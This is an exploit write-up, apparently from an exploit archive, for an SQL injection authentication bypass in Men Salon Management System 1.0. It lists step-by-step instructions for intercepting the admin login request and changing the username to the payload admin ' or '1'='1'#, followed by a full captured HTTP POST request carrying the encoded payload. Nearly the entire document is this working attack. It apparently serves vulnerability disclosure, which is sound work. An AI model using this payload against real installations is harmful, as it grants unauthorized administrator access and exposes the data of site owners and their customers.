Men Salon Management System 1.0 SQL Injection

`# Exploit Title: Men Salon Management System 1.0 - SQL Injection Authentication Bypass  
# Date: 2021-07-30  
# Exploit Author: Akshay Khanna (ConfusedBot)  
# Vendor Homepage: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/  
# Software Link: https://phpgurukul.com/men-salon-management-system-using-php-and-mysql/  
# Version: 1.0  
# Tested on: Windows 10/Kali Linux  
  
*POC*  
  
Step 1 - Go to URL http://localhost:8080/Men/Salon/Management/System/Project/msms/admin/index.php  
Step 2 – Enter anything in username and password  
Step 3 – Click on Login and capture the request in the burp suite  
Step4 – Change the username to admin ' or '1'='1'#  
Step 5 – Click forward and now you will be logged in as admin.  
  
REQUEST  
  
POST /Men/Salon/Management/System/Project/msms/admin/index.php HTTP/1.1  
Host: localhost:8080  
Content-Length: 67  
Cache-Control: max-age=0  
Upgrade-Insecure-Requests: 1  
Origin: http://localhost:8080/  
Content-Type: application/x-www-form-urlencoded  
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36  
(KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36  
Accept:  
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9  
Sec-Fetch-Site: same-origin  
Sec-Fetch-Mode: navigate  
Sec-Fetch-User: ?1  
Sec-Fetch-Dest: document  
Referer:  
http://localhost:8080/Men%20Salon%20Management%20System%20Project/msms/admin/index.php  
Accept-Encoding: gzip, deflate  
Accept-Language: en-US,en;q=0.9  
Cookie: PHPSESSID=fmo6opiohab5jf02r13db3f459  
Connection: close  
  
username=admin+%27+or+%271%27%3D%271%27%23&password=a&login=Sign+In  
`